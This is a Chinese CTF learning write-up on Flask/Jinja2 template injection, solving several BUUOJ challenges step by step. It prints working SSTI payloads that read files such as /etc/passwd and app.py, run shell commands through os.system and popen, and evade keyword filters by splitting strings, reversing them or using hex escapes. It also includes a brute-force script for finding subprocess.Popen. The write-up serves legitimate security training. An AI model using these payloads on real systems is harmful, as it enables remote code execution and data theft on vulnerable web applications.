CTF|Flask SSTI注入学习

竞赛平台:https://buuoj.cn/
1.[GYCTF2020]FlaskApp 第零步,Flask模板注入知识梳理:
1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。

__class__返回对象所属类型 __mro__返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析 __base__返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法 // __base__和__mro__都是用来寻找基类的 __subclasses__返回子类 __init__类的初始化方法 __globals__对包含函数全局变量的字典的引用

例子(windows python 3.7):
''.__class__ ''.__class__.__mro__(, ) ''.__class__.__base__ ''.__class__.__mro__[1].__subclasses__()列出了所有子类 ''.__class__.__base__.__subclasses__()和上面效果相同

其他例子(未知环境):
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()读取文件 ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')执行系统命令 如果函数已经被__init__了,还可以通过下面方法执行命令: ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']

关于内建函数:
当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。
__builtins__中,有像lenstr这样熟悉的函数。
python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。
【CTF|Flask SSTI注入学习】参考链接:SSTI/沙盒逃逸详细总结
第一步,使Base64解密报错,具体报错如下:
@app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) #报错位置 tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res =render_template_string(tmp)

函数获取text值直接解码,并将解码结果放到tmp中。如果waf函数检查发现tmp中存在注入行为,则会返回no no no !!;否则直接在模板上显示tmp。
因此,我们的目的是绕过waf函数实现注入。
第二步,读源码。
将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %} {% endfor %}

得到报错:
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[' SECRET_KEY' ] = ' s_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField(' BASE64加密' ,validators= [DataRequired()]) submit = SubmitField(' 提交' ) class NameForm1(FlaskForm): text = StringField(' BASE64解密' ,validators= [DataRequired()]) submit = SubmitField(' 提交' ) def waf(str): black_list = [" flag" ," os" ," system" ," popen" ," import" ," eval" ," chr" ," request" , " subprocess" ," commands" ," socket" ," hex" ," base64" ," *" ," ?" ] for x in black_list : if x in str.lower() : return 1 @app.route(' /hint' ,methods=[' GET' ]) def hint(): txt = " 失败乃成功之母!!" return render_template(" hint.html" ,txt = txt) @app.route(' /' ,methods=[' POST' ,' GET' ]) def encode(): if request.values.get(' text' ) : text = request.values.get(" text" ) text_decode = base64.b64encode(text.encode()) tmp = " 结果 :{0}" .format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for(' encode' )) else : text = " " form = NameForm(text) return render_template(" index.html" ,form = form ,method = " 加密" ,img = " flask.png" ) @app.route(' /decode' ,methods=[' POST' ,' GET' ]) def decode(): if request.values.get(' text' ) : text = request.values.get(" text" ) text_decode = base64.b64decode(text.encode()) tmp = " 结果 : {0}" .format(text_decode.decode()) if waf(tmp) : flash(" no no no !!" ) return redirect(url_for(' decode' )) res = render_template_string(tmp) flash( res ) return redirect(url_for(' decode' )) else : text = " " form = NameForm1(text) return render_template(" index.html" ,form = form, method = " 解密" , img = " flask1.png" ) @app.route(' /< name> ' ,methods=[' GET' ]) def not_found(name): return render_template(" 404.html" ,name = name) if __name__ == ' __main__' : app.run(host=" 0.0.0.0" , port=5000, debug=True)

if waf(tmp) : flash(" no no no !!" ) return redirect(url_for(' decode' )) res = render_template_string(tmp) flash( res ) return redirect(url_for(' decode' )) else : text = " " form = NameForm1(text) return render_template(" index.html" ,form = form, method = " 解密" , img = " flask1.png" )

可以看到里面有waf函数的定义,可以看到被过滤的词语:
def waf(str): black_list =[" flag" ," os" ," system" ," popen" ," import" ," eval" ," chr" ," request" , " subprocess" ," commands" ," socket" ," hex" ," base64" ," *" ," ?" ] for x in black_list : if x in str.lower() : return 1

第三步,找文件。
利用字符串拼接寻找目录:
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

加密后输入解密框中,发现this_is_the_flag.txt:
[' bin' , ' boot' , ' dev' , ' etc' , ' home' , ' lib' , ' lib64' , ' media' , ' mnt' , ' opt' , ' proc' , ' root' , ' run' , ' sbin' , ' srv' , ' sys' , ' tmp' , ' usr' , ' var' , ' this_is_the_flag.txt' , ' .dockerenv' , ' app' ]

第四步,读取flag。
txt.galf_eht_si_siht是倒写字符串来绕过
{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

或者使用下面的payload,执行popen命令读取文件:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eva'+'l' in b.keys() %}{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}{% endif %}{% endif %}{% endfor %} {% endif %} {% endfor %}

加密后输入解密框中,得到flag:flag{aa17e119-b692-4f87-962f-cf0b5201aeb3}
2.[WesternCTF2018]shrine 访问网址,直接得到源码:
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

输入数据经过safe_jinja的过滤,被jinja渲染。safe_jinja替换了左括号和右括号,如果s有左右大括号,里面又有config或者self,就会被整体替换成None。
为了获取例如current_app这样的全局变量信息,需要使用包含该变量的两个函数,url_forget_flashed_messages
注入{{url_for.__globals__}}或者get_flashed_messages.__globals__,可以得到... 'current_app': ...
注入{{url_for.__globals__['current_app'].config}}得到flag:flag{c9d4bc6f-a536-4f5f-b89c-dd9856d58381}
3.[CSCCTF 2019 Qual]FlaskLight 一开始打开题目页面,可以看到:
You searched for: None Here is your result ['CCC{Fl49_p@l5u}', 'CSC CTF 2019', 'Welcome to CTF Bois', 'CCC{Qmu_T3rtyPuuuuuu}', 'Tralala_trilili']

F12查看源代码,看到提示:

构造输入?search={{7*7}},看到页面返回49,构造?search={{7*'7'}},得到7777777,确定是jinja2模板。
访问?search={{config}},得到'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}',暗示flag在这个目录下。
需要编写代码,查看有哪些包含全局变量的函数:
python3脚本:
参考解题链接
import requests import re import html import timeindex = 0 for i in range(170, 1000): try: url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}" r = requests.get(url) res = re.findall("You searched for:<\/h2>\W+(.*)<\/h3>", r.text) time.sleep(0.1) res = html.unescape(res[0]) print(str(i) + " | " + res) if "subprocess.Popen" in res: index = i break except: continue print("indexo of subprocess.Popen:" + str(index))

subprocess模块可以用来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
从输出结果中可以看到index值为258,于是构造payload测试:
''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()

看到:
('bin\nboot\ndev\netc\nflasklight\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)

接着构造:
''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip() 看到:app.py coomme_geeeett_youur_flek

读flag:
''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip() flag{4f8bdc79-8954-494f-abb1-606b787271ac}

4.[Flask]SSTI 漏洞利用 vulhub的github地址
一打开页面,显示Hello guest
使用读源码payload:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }} {% endif %} {% endfor %}

页面显示:
Hello from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()

获取eval函数并执行任意python代码:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls /var/").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

可以利用漏洞
5.[RootersCTF2019]I_??_Flask 由于完全没有参数的提示,因此需要arjun工具利用传参进行爆破。
arjun工具
python3 arjun.py -u http://11c3a132-1bdb-4fa2-8f9a-a15a04e93389.node3.buuoj.cn/-m GET -c 200

得到参数name
?name={{7*7}},显示49
6.[CISCN2019 总决赛 Day1 Web3]Flask Message Board 只有Author处可以被注入,注入{{config}}得到:
I1l|1i1|il|1lIIlI1l1|1l|lI1||1|1|I||IlI1

7.[pasecactf_2019]flask_ssti 查看网页源代码,可以看到js代码,是向后端发送POST请求,innerHTML会被前端直接显示:
function send(){ let nickname = $('#nickname')[0].value; if(nickname.length > 0){ $.post("/", {'nickname': nickname}, function(data){ $('#msg')[0].innerHTML = '' + data + ''; $('#error')[0].className = "shorten_error_display"; }); } }

发现过滤._'
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}} //用这个去执行命令 {{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}} //用这个去读取文件

这里读取app.py发现flag是经过加密的。然后加密函数在源码中。
然后会删掉flag。这里我比较懒。。直接读取/proc/self/fd/3。得到Flag
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

最终得到flag{9586d411-dd16-4593-955a-4b467a6a3858}
参考解题链接

    推荐阅读